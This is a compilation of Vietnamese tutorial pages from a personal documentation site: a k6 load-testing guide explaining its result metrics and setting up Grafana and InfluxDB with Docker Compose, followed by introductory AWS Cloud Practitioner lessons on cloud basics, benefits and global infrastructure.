đó. [… phần còn lại đã lược bớt] ============================================================================ # Ý nghĩa các chỉ số trong kết quả của k6 URL: https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-04 Source: docs/05-k6/part-04.md Description: Trong các bài viết trước, chúng ta đã tìm hiểu cách cài đặt k6, viết một kịch bản test đơn giản, chạy kịch bản test và xem kết quả. Trong bài viết này, chúng. Tags: load-testing, k6, restful-api, performance-testing, setup Trong các bài viết trước, chúng ta đã tìm hiểu cách cài đặt k6 (https://k6.io), viết một kịch bản test đơn giản, chạy kịch bản test và xem kết quả. Trong bài viết này, chúng ta sẽ tìm hiểu ý nghĩa của các chỉ số trong kết quả của k6. ## Kết quả của k6 Khi chạy kịch bản test, k6 sẽ hiển thị kết quả trên màn hình console. Kết quả này có thể khá dài, nhưng chúng ta sẽ tìm hiểu ý nghĩa của từng phần trong kết quả này. Giả sử ta có một kết quả như sau: [code bash] /\ |‾‾| /‾‾/ /‾‾/ /\ / \ | |/ / / / / \/ \ | ( / ‾‾\ / \ | |\ \ | (‾) | / __________ \ |__| \__\ \_____/ .io execution: local script: script.js output: - scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop): * default: 10 looping VUs for 30s (gracefulStop: 30s) data_received..................: 2.7 MB 88 kB/s data_sent......................: 26 kB 844 B/s http_req_blocked...............: avg=24.59ms min=0s med=0s max=575.19ms p(90)=0s p(95)=135.71µs http_req_connecting............: avg=10.94ms min=0s med=0s max=260.2ms p(90)=0s p(95)=0s http_req_duration..............: avg=276.78ms min=244.65ms med=261.01ms max=574.14ms p(90)=279.08ms p(95)=506.76ms { expected_response:true }...: avg=276.78ms min=244.65ms med=261.01ms max=574.14ms p(90)=279.08ms p(95)=506.76ms http_req_failed................: 0.00% ✓ 0 ✗ 233 http_req_receiving.............: avg=13.12ms min=0s med=0s max=261.03ms p(90)=977.48µs p(95)=98.09ms http_req_sending...............: avg=35.59µs min=0s med=0s max=1.41ms p(90)=0s p(95)=0s http_req_tls_handshaking.......: avg=11.95ms min=0s med=0s max=284.05ms p(90)=0s p(95)=0s http_req_waiting...............: avg=263.62ms min=243.91ms med=258.58ms max=573.54ms p(90)=267.65ms p(95)=277.49ms http_reqs......................: 233 7.495798/s iteration_duration.............: avg=1.3s min=1.24s med=1.26s max=1.87s p(90)=1.5s p(95)=1.53s iterations.....................: 233 7.495798/s vus............................: 1 min=1 max=10 vus_max........................: 10 min=10 max=10 running (0m31.1s), 00/10 VUs, 233 complete and 0 interrupted iterations default ✓ [======================================] 10 VUs 30s [/code] ## Ý nghĩa Kết quả này được chia thành 3 phần: ### 1. Logo của k6 Phần đầu tiên là logo của k6. Phần này không có ý nghĩa gì đặc biệt. ### 2. Thông tin về kịch bản test - `execution`: cách thức chạy kịch bản test. Trong trường hợp này, kịch bản test được chạy trên máy local. - `script`: chứa tên của file chứa kịch bản test. - `output`: cách xuất kết quả. Trong trường hợp này, kết quả được xuất trực tiếp trên màn hình console. ### 3. Kết quả của kịch bản test #### 3.1. Thông tin về kịch bản test - `scenarios`: kịch bản test, bao gồm: - `default`: tên của kịch bản test. - `10 looping VUs for 30s`: 10 virtual users sẽ được tạo ra và chạy kịch bản test trong 30 giây. - `gracefulStop: 30s`: kịch bản test sẽ được chạy trong 30 giây. - Các chỉ số: Tên chỉ số | Đơn vị | Ý nghĩa --- | :---: | --- | `data_received` | `byte` | Lượng dữ liệu nhận được trong quá trình chạy kịch bản test. | `data_sent` | `byte` | Lượng dữ liệu gửi đi trong quá trình chạy kịch bản test. | `http_req_blocked` | `millisecond` | Thời gian chờ để gửi request HTTP. | `http_req_connecting` | `millisecond` | Thời gian kết nối đến máy chủ. | `http_req_duration` | `millisecond` | Thời gian thực thi request HTTP. | `http_req_failed` | `%` | Số lượng request HTTP thất bại. | `http_req_receiving` | `millisecond` | Thời gian nhận phản hồi từ máy chủ. | `http_req_sending` | `millisecond` | Thời gian gửi request HTTP. | `http_req_tls_handshaking` | `millisecond` | Thời gian bắt tay TLS. | `http_req_waiting` | `millisecond` | Thời gian chờ phản hồi từ máy chủ. | `http_reqs` | `request` | Số lượng request HTTP được gửi đi. | `iteration_duration` | `millisecond` | Thời gian thực thi một vòng lặp. | `iterations` | `iteration` | Số lượng vòng lặp được thực thi. | `vus` | `VU` | Số lượng virtual users. | `vus_max` | `VU` | Số lượng virtual users tối đa. Các chỉ số thời gian `http_req_*` là những pha nối tiếp nhau của cùng một request, với số liệu trung bình lấy từ kết quả ở trên: File gốc: nền sáng · nền tối #### 3.2. Thông tin về quá trình chạy kịch bản test - `running`: quá trình chạy kịch bản test, bao gồm: - `0m31.1s`: thời gian chạy kịch bản test. - `00/10 VUs`: số lượng virtual users hiện tại. - `233 complete and 0 interrupted iterations`: số lượng vòng lặp đã thực thi và số lượng vòng lặp bị gián đoạn. - `default`: quá trình chạy kịch bản test, bao gồm: - `10 VUs`: số lượng virtual users. - `30s`: thời gian chạy kịch bản test. ## Lời kết Trong bài viết này, chúng ta đã tìm hiểu ý nghĩa của các chỉ số trong kết quả của k6. Hy vọng bài viết này sẽ giúp ích cho bạn trong việc tìm hiểu về k6. Bài viết tiếp theo, chúng ta sẽ tìm hiểu cách trực quan hóa kết quả của k6 bằng Grafana và InfluxDB. ============================================================================ # Trực quan hóa kết quả load test với Grafana và InfluxDB URL: https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-05 Source: docs/05-k6/part-05.md Description: Trong các bài viết trước, chúng ta đã biết cách viết kịch bản test và xem kết quả trên màn hình console khi chạy kịch bản với k6. Tuy nhiên, để có thể quan. Tags: load-testing, k6, restful-api, performance-testing, setup, visualization, grafana, influxdb Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/k6/load-testing-restful-apis-with-k6-part-05 Trong các bài viết trước, chúng ta đã biết cách viết kịch bản test và xem kết quả trên màn hình console khi chạy kịch bản với k6. Tuy nhiên, để có thể quan sát và phân tích kết quả một cách trực quan hơn, chúng ta có thể kết hợp k6 với Grafana và InfluxDB. Bài viết này sẽ hướng dẫn các bạn cài đặt và sử dụng Grafana cùng InfluxDB để trực quan hóa kết quả load test từ k6. ## Cài đặt InfluxDB và Grafana ### InfluxDB là gì? InfluxDB (https://www.influxdata.com/) là một cơ sở dữ liệu time-series mã nguồn mở được thiết kế để lưu trữ và truy xuất dữ liệu theo thời gian một cách hiệu quả. InfluxDB có thể được sử dụng để lưu trữ các chỉ số đo lường từ các công cụ kiểm tra hiệu suất như k6, JMeter (https://jmeter.apache.org/), Gatling (https://gatling.io/)... và trực quan hóa kết quả từ các công cụ này. Các đặc điểm chính của InfluxDB bao gồm: - Lưu trữ dữ liệu theo thời gian với tốc độ cao. - Có khả năng mở rộng tốt cho lượng dữ liệu lớn. - Có thể truy vấn và lọc dữ liệu theo thời gian hiệu quả. ### Grafana là gì? Grafana (https://grafana.com/) là một công cụ trực quan hóa và quản lý bảng điều khiển mã nguồn mở. Nó cho phép truy vấn, trực quan hóa và giám sát nhiều loại nguồn dữ liệu bao gồm InfluxDB (https://www.influxdata.com/), Prometheus (https://prometheus.io/), Elasticsearch (https://www.elastic.co/) và nhiều nguồn khác. Với Grafana, chúng ta có thể xây dựng các bảng điều khiển với nhiều loại biểu đồ khác nhau như biểu đồ đường, biểu đồ tròn, biểu đồ cột...để trực quan hóa dữ liệu từ nguồn dữ liệu lưu trữ như InfluxDB. Ngoài ra, Grafana còn hỗ trợ nhiều tính năng như alerting (https://grafana.com/products/cloud/alerting/), logging (https://grafana.com/products/cloud/logs/), dashboard sharing... giúp quản lý và theo dõi hiệu suất ứng dụng một cách tổng quan và trực quan hơn. ### Cài đặt InfluxDB và Grafana Trong bài viết này, chúng ta sẽ cài đặt InfluxDB và Grafana bằng Docker Comopose. Lưu ý đảm bảo Docker và Docker Compose đã được cài đặt trên máy. Nếu chưa, bạn có thể tham khảo cách cài đặt Docker (https://docs.docker.com/get-docker/) và các cài đặt Docker Compose (https://docs.docker.com/compose/install/) cho máy tính của mình. #### 1. Tạo file grafana-dashboard.yaml Đầu tiên, chúng ta sẽ tạo file `grafana-dashboard.yaml` với nội dung sau: [code bash] apiVersion: 1 providers: - name: 'default' org_id: 1 folder: '' type: 'file' options: path: /var/lib/grafana/dashboards [/code] Đoạn script này đặt đường dẫn lưu trữ các bảng điều khiển trong Grafana là thư mục `/var/lib/grafana/dashboards`. Khi chúng ta import hoặc tạo mới dashboard, nó sẽ lưu trữ tại vị trí này. Điều này giúp chúng ta có thể chia sẻ và quản lý dashboard dễ dàng hơn. Tiếp đến, hãy tạo thư mục `dashboards` trong thư mục hiện tại để lưu trữ các dashboard mà sau này chúng ta sẽ tạo và import vào Grafana. #### 2. Tạo file grafana-datasource.yaml Sau đó, tạo thêm file `grafana-datasource.yaml` với nội dung sau để định nghĩa nguồn dữ liệu cho Grafana: [code yaml] apiVersion: 1 datasources: - name: k6influxdb type: influxdb access: proxy database: k6 url: http://influxdb:8086 isDefault: true [/code] Đoạn script này định nghĩa nguồn dữ liệu cho Grafana là InfluxDB với tên là `k6influxdb`. Nó sẽ kết nối tới InfluxDB chạy trên cổng 8086 và sử dụng cơ sở dữ liệu `k6` làm mặc định. #### 3. Tạo file docker-compose.yml Cuối cùng, hãy tạo file `docker-compose.yml` với nội dung sau: [code yaml] version: '3.4' networks: k6: grafana: services: influxdb: image: influxdb:1.8 # entrypoint: /bin/sh # user: root networks: - k6 - grafana ports: - "8086:8086" environment: - INFLUXDB_DB=k6 grafana: image: grafana/grafana:8.5.21 # entrypoint: /bin/sh # user: root networks: - grafana ports: - "3000:3000" environment: - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin - GF_AUTH_ANONYMOUS_ENABLED=true - GF_AUTH_BASIC_ENABLED=false - GF_SERVER_SERVE_FROM_SUB_PATH=true volumes: - ./dashboards:/var/lib/grafana/dashboards - ./grafana-dashboard.yaml:/etc/grafana/provisioning/dashboards/dashboard.yaml - ./grafana-datasource.yaml:/etc/grafana/provisioning/datasources/datasource.yaml k6: image: grafana/k6:latest # entrypoint: /bin/sh # user: root networks: - k6 ports: - "6565:6565" environment: - K6_OUT=influxdb=http://influxdb:8086/k6 volumes: - ./scripts:/scripts [/code] Chúng ta mount thư mục `scripts` trong container k6 vào thư mục `/scripts` để k6 có thể truy cập và chạy các kịch bản test được lưu trong thư mục này. Ngoài ra, cấu hình cho k6 ghi kết quả load test sang InfluxDB thông qua địa chỉ `http://influxdb:8086/k6`. Địa chỉ này bao gồm: - `influxdb: Tên container InfluxDB được khai báo trong `docker-compose.yml`. - `8086`: Cổng InfluxDB mặc định. - `k6`: Tên bucket được tạo trong InfluxDB để lưu trữ dữ liệu từ k6. Ghép ba file cấu hình lại, các container liên kết với nhau như sau: File gốc: nền sáng · nền tối Cấu trúc thư mục sẽ như sau: [code bash] ├── dashboards │ └── k6-load-testing-results.json ├── docker-compose.yml ├── grafana-dashboard.yaml ├── grafana-datasource.yaml └── scripts └── script.js [/code] #### 4. Tạo file k6-load-testing-results.json Trong thư mục `dashboards`, hãy tải file k6-load-testing-results.json (https://grafana.com/grafana/dashboards/2587) về và đổi tên thành `k6-load-testing-results.json`. Đây là file mẫu dashboard được cung cấp sẵn bởi Grafana để trực quan hóa kết quả load test từ k6. #### 5. Khởi chạy Docker Compose Để khởi chạy docker compose, hãy chạy lệnh sau: [code bash] docker-compose up -d influxdb grafana [/code] Đây là lệnh khởi chạy Docker Compose để chạy các container InfluxDB và Grafana trong nền. Nếu khởi chạy thành công, màn hình console sẽ hiển thị tương tự như sau: [… phần còn lại đã lược bớt] ============================================================================ # M01.01 - Introduction to the Cloud URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-the-cloud Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/01.introduction-to-the-cloud.md Description: Khám phá nền tảng của Cloud Computing với AWS Cloud Practitioner Essentials Module 1. Tìm hiểu định nghĩa Cloud Computing, lịch sử hình thành AWS, các loại cloud deployment (Cloud, On-premises, Hybrid), và các khái niệm cơ bản về on-demand delivery, IT resources, pay-as-you-go pricing. Tags: aws, cloud-computing, aws-cloud-practitioner, cloud-fundamentals, aws-certification, cloud-deployment, it-resources, on-demand-computing, client-server-model Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-the-cloud Bài học M01.01 giới thiệu nền tảng Cloud Computing trong khóa AWS Cloud Practitioner Essentials, bao gồm định nghĩa Cloud Computing, lịch sử hình thành AWS, các mô hình triển khai (Cloud, On-premises, Hybrid) và các khái niệm cơ bản như on-demand delivery, IT resources và pay-as-you-go pricing. ## Welcome to AWS Cloud Practitioner Essentials Chào mừng bạn đến với series AWS Cloud Practitioner Essentials! Đây là series đầu tiên trong hành trình học tập và chứng nhận AWS Cloud Practitioner của mình. Trong phần đầu tiên của training này, bạn bắt đầu với hiểu biết nền tảng về cloud computing và cách cloud cách mạng hóa cách businesses hoạt động. Đến cuối bộ bài học đầu tiên này, bạn sẽ quen thuộc với các core concepts, benefits, và shared responsibilities của cloud computing. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả client-server model ở mức cơ bản - ✅ Hiểu định nghĩa Cloud Computing - ✅ Nhận biết các loại cloud deployment - ✅ Hiểu lịch sử hình thành AWS ## Giới thiệu về Instructors Trước khi bắt đầu, hãy gặp các instructors của bạn: Morgan Willis - Principal Cloud Technologist với AWS Training and Certification. Morgan đã làm việc trong IT world khoảng 15 năm và có kinh nghiệm trong IT support và teaching tại software development bootcamp trước khi đến AWS. Rudy Chetty - Chief Techfluencer và Principle Solutions Architect cho AWS Partners. Rudy đến từ Cape Town, South Africa và đã làm việc trong technology space hơn hai thập kỷ, giúp customers trên toàn thế giới thực hiện application và cloud dreams của họ. Alan Meridian - Instructor trong AWS Training and Certification. Alan đã làm việc với AWS hơn 8 năm, cung cấp hàng trăm trainings giới thiệu learners đến AWS concepts, services, và solutions. ## Phương pháp học tập Cloud computing có thể phức tạp. Nhưng đừng lo lắng. Đây là lý do tại sao chúng ta ở đây! Curriculum của chúng ta cung cấp analogies, examples, và use cases sẽ giúp bạn hiểu rõ hơn các concepts này. Chúng ta sẽ cover tất cả thông tin cần thiết để bạn cảm thấy thoải mái khi thảo luận về AWS. Ngoài ra, chúng ta sẽ thêm một số AWS service demos để cho bạn thấy cách mọi thứ hoạt động trong thực tế. Cách tiếp cận học tập theo lớp này sẽ thực sự củng cố các concepts. Và chúng ta hứa sẽ giữ nó đơn giản. ## AWS - World's Most Comprehensive Cloud AWS cung cấp một loạt services khổng lồ cho mọi business. AWS là cloud toàn diện và được áp dụng rộng rãi nhất thế giới, và hàng triệu customers sử dụng AWS để trở nên agile hơn, giảm costs, và innovate nhanh hơn. Cho dù bạn đang tìm kiếm compute power, generative AI, databases, storage, content delivery, hoặc specialized services cho một số functionality khác, AWS có các services bạn cần để giúp bạn xây dựng sophisticated applications cho business của mình. Đó là một loạt services khổng lồ, và chúng ta ước chúng ta có thời gian để cover tất cả. Nhưng chúng ta đã hứa sẽ giữ nó đơn giản. Vì vậy, hãy bắt đầu cuộc trò chuyện này với một fundamental concept của computing: the client-server model. ## Client-Server Model ### Coffee Shop Analogy Để làm cho mọi thứ dễ hiểu hơn, chúng ta sẽ sử dụng một coffee shop analogy. Coffee shop này sẽ hoạt động như một real-world metaphor để cho bạn thấy các phần khác nhau của cloud computing model. Và, analogy sẽ giúp bạn hiểu cách AWS có thể thay đổi cách IT của bạn hoạt động. Đầu tiên, hãy nghĩ về coffee shop và cách nó có thể đại diện cho client-server model. ### Ví dụ: Client-Server Model trong Coffee Shop Hãy để Morgan là server, barista. Và tôi (Alan) sẽ là client, hoặc customer. Tôi sẽ đưa ra một request. Trong trường hợp này, đó là cho coffee. Trong computing world, request có thể là bất cứ thứ gì. Nó có thể là rain pattern analysis ở South Africa, hoặc nó có thể là latest x-rays của đầu gối bạn, hoặc videos của kittens. Bất cứ business needs nào là nơi request bắt đầu. Về cơ bản, một customer đưa ra request, và với permissions, server phản hồi request đó. Tất cả những gì tôi muốn là một caffeinated beverage. Morgan đại diện cho phần server của client-server model. Trong AWS, cô ấy sẽ là một virtual server. Vì vậy, từ góc độ cloud computing architectural, coffee shop transaction khá đơn giản. Tôi, user, đã đưa ra request đến Morgan, server. Morgan đã validate rằng request là hợp lệ. Trong trường hợp này, tôi có đưa tiền cho cô ấy không? Item mà tôi đặt có phải là thứ họ có thể làm không? Sau đó cô ấy trả về response, trong ví dụ này, là một triple mocha với extra caramel shots. [code mermaid] sequenceDiagram participant C as Client - Alan participant S as Server - Morgan C->>S: Request - gọi một ly cà phê S->>S: Validate - đã trả tiền chưa, quán có làm món này không S-->>C: Response - triple mocha thêm caramel [/code] ### Client-Server Model trong Real World Bây giờ, trong real world, applications thường phức tạp hơn chỉ một single transaction với một single server. Trong một business solution trưởng thành hơn, nó có thể trở nên beautifully complex. Nhưng một lần nữa, chúng ta sẽ bắt đầu với basics. Khi curriculum tiến triển, các basic concepts này sẽ tiếp tục build on each other. Và hy vọng, đến cuối, những beautifully complex concepts đó sẽ có ý nghĩa hơn nhiều. Bạn đã tackle cloud computing concept đầu tiên của mình. Vì vậy bây giờ, hãy tiếp tục với một key concept của AWS, và đó là: bạn chỉ trả cho những gì bạn sử dụng. ## Pay Only for What You Use Hãy nghĩ về nguyên tắc này khi áp dụng cho việc staffing một coffee shop. Employees chỉ được trả cho giờ họ làm việc trong shop thực tế. Vì vậy, nếu nói Morgan và tôi off the clock, thì chúng ta không được trả vì chúng ta không làm việc bất kỳ giờ nào. Hơn nữa, store owner quyết định họ cần bao nhiêu baristas cho bất kỳ ngày nào trong tuần. Những ngày bận rộn yêu cầu nhiều employees hơn và những ngày chậm hơn yêu cầu ít hơn. [… phần còn lại đã lược bớt] ============================================================================ # M01.02 - Benefits of the AWS Cloud URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/benefits-of-the-aws-cloud Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/02.benefits-of-the-aws-cloud.md Description: Khám phá 6 lợi ích chính của AWS Cloud - Trade fixed expense for variable expense, Benefit from massive economies of scale, Stop guessing capacity, Increase speed and agility, Stop spending money to run and maintain data centers, và Go global in minutes. Tags: aws, cloud-computing, aws-cloud-practitioner, cloud-benefits, aws-certification, cost-optimization, scalability, agility Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/benefits-of-the-aws-cloud Bây giờ bạn đã hiểu cách cloud hoạt động ở mức cơ bản, hãy cùng khám phá những lợi ích của việc sử dụng cloud cho doanh nghiệp của bạn. Trong bài học này, chúng ta sẽ tìm hiểu về 6 lợi ích chính của AWS Cloud. ## Tổng quan về 6 lợi ích chính của AWS Cloud AWS Cloud mang lại nhiều lợi ích vượt trội so với mô hình hạ tầng truyền thống. Dưới đây là 6 lợi ích chính mà chúng ta sẽ khám phá chi tiết: 1. Trade fixed expense for variable expense - Chuyển đổi chi phí cố định sang chi phí biến đổi 2. Benefit from massive economies of scale - Hưởng lợi từ quy mô kinh tế lớn 3. Stop guessing capacity - Không cần đoán trước dung lượng 4. Increase speed and agility - Tăng tốc độ và tính linh hoạt 5. Stop spending money to run and maintain data centers - Không cần chi tiền vận hành và bảo trì data centers 6. Go global in minutes - Mở rộng toàn cầu trong vài phút Hãy cùng đi sâu vào từng lợi ích! ## 1. Trade Fixed Expense for Variable Expense (Chuyển đổi chi phí cố định sang chi phí biến đổi) ### Khái niệm Với AWS Cloud, doanh nghiệp có thể chuyển đổi từ đầu tư cố định sang chi phí biến đổi. Với chi phí biến đổi, chi phí của khách hàng được căn chỉnh tốt hơn với việc sử dụng thực tế, từ đó tạo ra sự linh hoạt tài chính hơn. ### Vấn đề với mô hình truyền thống Khi xây dựng một cơ sở on-premises truyền thống, bạn thường cần đầu tư một khoản tiền lớn ngay từ đầu. Điều này bao gồm: - 🏢 Physical space (Không gian vật lý) - Xây dựng hoặc thuê tòa nhà - 🖥️ Hardware (Phần cứng) - Mua servers, storage, networking equipment - 👥 Staff (Nhân viên) - Thuê đội ngũ IT để quản lý và vận hành - 🔧 Upkeep (Bảo trì) - Chi phí bảo trì, nâng cấp, và đảm bảo mọi thứ hoạt động trơn tru Đối với một số doanh nghiệp, điều này có thể tốn hàng trăm nghìn hoặc thậm chí hàng triệu đô la. Sau đó, bất kể tỷ lệ sử dụng của data center là bao nhiêu, bạn vẫn có một chi phí cố định và phải thiết lập ngân sách xung quanh chi phí cố định đó. ### Giải pháp với AWS Billing với AWS về cơ bản là khác biệt: - 📊 Variable billing - Hóa đơn của bạn với AWS sẽ thay đổi từ tháng này sang tháng khác khi bạn sử dụng các lượng tài nguyên khác nhau - 💰 No upfront investment - Nếu bạn mới bắt đầu, không cần phải có một khoản đầu tư lớn để xây dựng môi trường AWS - 🚀 Start small - Bạn có thể bắt đầu nhỏ và chỉ bị tính phí cho những gì bạn sử dụng - 📈 Built-in tools - Bạn có thể sử dụng các công cụ billing và budgeting tích hợp sẵn để tìm cách tiết kiệm tiền mỗi tháng khi doanh nghiệp của bạn phát triển Ví dụ thực tế: - Tháng 1: Bạn sử dụng ít tài nguyên → Hóa đơn thấp - Tháng 2: Có chiến dịch marketing lớn → Sử dụng nhiều tài nguyên hơn → Hóa đơn cao hơn - Tháng 3: Chiến dịch kết thúc → Giảm tài nguyên → Hóa đơn giảm lại Bạn chỉ trả cho những gì bạn thực sự sử dụng! 💡 ## 2. Benefit from Massive Economies of Scale (Hưởng lợi từ quy mô kinh tế lớn) ### Khái niệm Giống như việc mua sản phẩm số lượng lớn có thể dẫn đến giá thấp hơn trên mỗi đơn vị, hạ tầng toàn cầu rộng lớn của AWS có thể dẫn đến chi phí thấp hơn cho khách hàng. Điều này có nghĩa là AWS có thể được sử dụng bởi nhiều tổ chức, từ các start-up nhỏ đến các tập đoàn lớn. Các doanh nghiệp lớn và nhỏ đều có thể truy cập các công nghệ tiên tiến mà trước đây chỉ có thể tiếp cận được bởi các doanh nghiệp lớn. ### Cách AWS đạt được economies of scale AWS đang xây dựng data centers trên khắp thế giới. Để xây dựng tất cả các data centers đó, AWS đang mua rất nhiều phần cứng. Vì AWS mua một lượng lớn phần cứng, họ có thể mua phần cứng này với giá thấp hơn. Sau đó, họ chuyển những chi phí thấp hơn đó cho khách hàng. Ví dụ: - 🏭 AWS mua 1 triệu servers → Giá mỗi server: $500 - 🏢 Doanh nghiệp nhỏ mua 10 servers → Giá mỗi server: $1,000 - 💰 AWS có thể cung cấp dịch vụ với chi phí thấp hơn nhờ mua số lượng lớn ### Lợi ích cho khách hàng - ✅ Lower costs - Chi phí thấp hơn nhờ quy mô mua sắm của AWS - ✅ Access to advanced technology - Truy cập các công nghệ tiên tiến mà trước đây chỉ dành cho các doanh nghiệp lớn - ✅ Level playing field - Các start-up nhỏ có thể cạnh tranh với các tập đoàn lớn nhờ công nghệ tương tự ## 3. Stop Guessing Capacity (Không cần đoán trước dung lượng) ### Khái niệm Khách hàng có thể scale (mở rộng) hoặc scale down (thu hẹp) tài nguyên AWS Cloud một cách động dựa trên nhu cầu thời gian thực. Điều này có nghĩa là các doanh nghiệp có thể đạt được hiệu suất tối ưu mà không cần cung cấp nhiều hoặc ít hạ tầng hơn mức họ cần. ### Vấn đề với mô hình truyền thống Trong một data center truyền thống, bạn mua phần cứng dựa trên việc sử dụng dự kiến. Hãy xem xét các kịch bản sau: Kịch bản 1: Over-provisioning (Cung cấp quá mức) - 📊 Bạn ước tính sẽ có 10 triệu người dùng trong 3 năm tới - 💻 Bạn mua đủ phần cứng để hỗ trợ sự tăng trưởng đó theo thời gian - 😱 Nhưng khi năm thứ 3 đến, bạn chỉ có khoảng 500,000 người dùng - 💸 Bạn vẫn bị mắc kẹt với phần cứng bạn đã mua để hỗ trợ 10 triệu người dùng → Lãng phí tài nguyên và tiền bạc! Kịch bản 2: Under-provisioning (Cung cấp thiếu) - 📊 Bạn ước tính sẽ có 100,000 người dùng - 💻 Bạn mua phần cứng cho 100,000 người dùng - 🚀 Nhưng thực tế bạn có 5 triệu người dùng → Tăng trưởng khách hàng là tuyệt vời, nhưng việc tranh giành để có thêm phần cứng có thể là một vấn đề thực sự! - ⚠️ Bạn cần nhanh chóng mua thêm servers để xử lý dung lượng cao hơn - 😰 Nếu bạn không điều chỉnh kịp thời, khách hàng của bạn có thể có trải nghiệm bị suy giảm, hoặc bạn thậm chí có thể mất họ hoàn toàn ### Giải pháp với AWS Đây là phần tuyệt vời của AWS - Bạn không cần đoán dung lượng! - ⚡ Scaling nhanh chóng - Scaling thường mất vài phút, thay vì vài tuần hoặc vài tháng như trong data center on-premises - 🎯 Provision cho hiện tại - Bạn cung cấp các tài nguyên cần thiết cho hiện tại - 📈 Scale theo nhu cầu - Sau đó, bạn sử dụng các cơ chế scaling để scale các tài nguyên này lên hoặc xuống dựa trên nhu cầu hàng ngày Ví dụ thực tế: - 🌅 Buổi sáng: 1,000 người dùng → Bạn sử dụng 5 servers - 🌆 Buổi tối: 50,000 người dùng → AWS tự động scale lên 50 servers - 🌙 Đêm khuya: 500 người dùng → AWS tự động scale xuống 2 servers Bạn chỉ trả cho những gì bạn sử dụng, khi bạn sử dụng! 💰 [… phần còn lại đã lược bớt] ============================================================================ # M01.03 - Introduction to AWS Global Infrastructure URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-aws-global-infrastructure Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/03.introduction-to-aws-global-infrastructure.md Description: Tìm hiểu về AWS Global Infrastructure, bao gồm AWS Regions và Availability Zones. Khám phá các lợi ích của high availability và fault tolerance, và cách AWS thiết kế hạ tầng để đảm bảo ứng dụng luôn hoạt động. Tags: aws, cloud-computing, aws-cloud-practitioner, aws-infrastructure, aws-regions, availability-zones, high-availability, fault-tolerance, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/introduction-to-aws-global-infrastructure Trong bài học này, bạn sẽ tìm hiểu về những điều cơ bản của AWS Global Infrastructure. Bạn sẽ học về thiết lập vật lý độc đáo của các tài nguyên AWS, và khám phá một số lợi ích của hạ tầng AWS, chẳng hạn như high availability (tính sẵn sàng cao) và fault tolerance (khả năng chịu lỗi). ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Định nghĩa AWS Regions và Availability Zones - ✅ Giải thích các lợi ích của high availability và fault tolerance - ✅ Hiểu cách AWS thiết kế hạ tầng để đảm bảo tính sẵn sàng cao ## Tại sao cần High Availability? Hãy cùng quay lại với ví dụ về cửa hàng cà phê để hiểu rõ hơn về high availability. Giả sử bạn vừa thuê một nhân viên mới, và họ đang học cách pha latte. Họ làm rất tốt - có tỷ lệ sữa-expresso đúng, thậm chí còn tạo ra những thiết kế đẹp với latte art - cho đến khi họ làm đổ cốc và đổ latte lên máy tính tiền. Điều đó không tốt chút nào! Máy tính tiền bị hỏng, và có vẻ như nó đã làm chập điện toàn bộ cửa hàng. Yikes! Điều đó có nghĩa là chúng ta không thể tính tiền đơn hàng hoặc pha đồ uống cho khách hàng. Chúng ta sẽ phải đóng cửa cho đến khi mọi thứ được xử lý. Vậy điều này có nghĩa gì cho doanh nghiệp? Có phải toàn bộ doanh nghiệp không kiếm được tiền cho đến khi vấn đề được sửa? May mắn thay, chúng ta đã chuẩn bị sẵn. Tin tốt cho doanh nghiệp - và cho khách hàng - là đây không phải là cửa hàng cà phê duy nhất của chúng ta. Cửa hàng thực ra là một chuỗi, và chúng ta có các cửa hàng ở khắp thành phố. Khách hàng vẫn có thể mua cà phê bằng cách ghé thăm một trong những cửa hàng của chúng ta chỉ cách vài dãy nhà, và doanh nghiệp vẫn có thể tiếp tục hoạt động ngay cả khi một địa điểm gặp vấn đề. Vì vậy, dù là một nhân viên làm đổ latte, hay cửa hàng bên cạnh vô tình cắt đường internet của chúng ta, hay một thảm họa khác khiến cửa hàng không thể hoạt động hàng ngày... bất kể lý do là gì, chúng ta biết rằng sản phẩm của mình sẽ có tính sẵn sàng cao cho khách hàng. Họ vẫn nhận được cà phê, và doanh nghiệp vẫn tạo ra thu nhập. Mọi thứ đều ổn! ☕ ## AWS Global Infrastructure: Tương tự như chuỗi cửa hàng cà phê AWS có một thiết lập tương tự với hạ tầng toàn cầu của chúng ta. Rất rủi ro khi có một data center khổng lồ nơi tất cả các tài nguyên được đặt. Nếu có điều gì đó xảy ra với data center đó, như mất điện hoặc thiên tai, tất cả ứng dụng của mọi người sẽ ngừng hoạt động cùng một lúc. Bạn cần high availability và fault tolerance. Hãy làm rõ các thuật ngữ này: ### High Availability (Tính sẵn sàng cao) High availability là về việc đảm bảo ứng dụng của bạn luôn có thể truy cập được với thời gian downtime tối thiểu. Ngay cả khi một thành phần bị lỗi, một thành phần khác đã sẵn sàng để tiếp quản, để dịch vụ của bạn tiếp tục chạy. Đặc điểm: - ⚡ Minimal downtime - Thời gian downtime tối thiểu - 🔄 Automatic failover - Tự động chuyển sang backup khi có lỗi - 📈 Continuous operation - Hoạt động liên tục ### Fault Tolerance (Khả năng chịu lỗi) Fault tolerance đi xa hơn một bước bằng cách thiết kế một hệ thống để tiếp tục hoạt động ngay cả khi nhiều thành phần bị lỗi. Về cơ bản, nó xây dựng 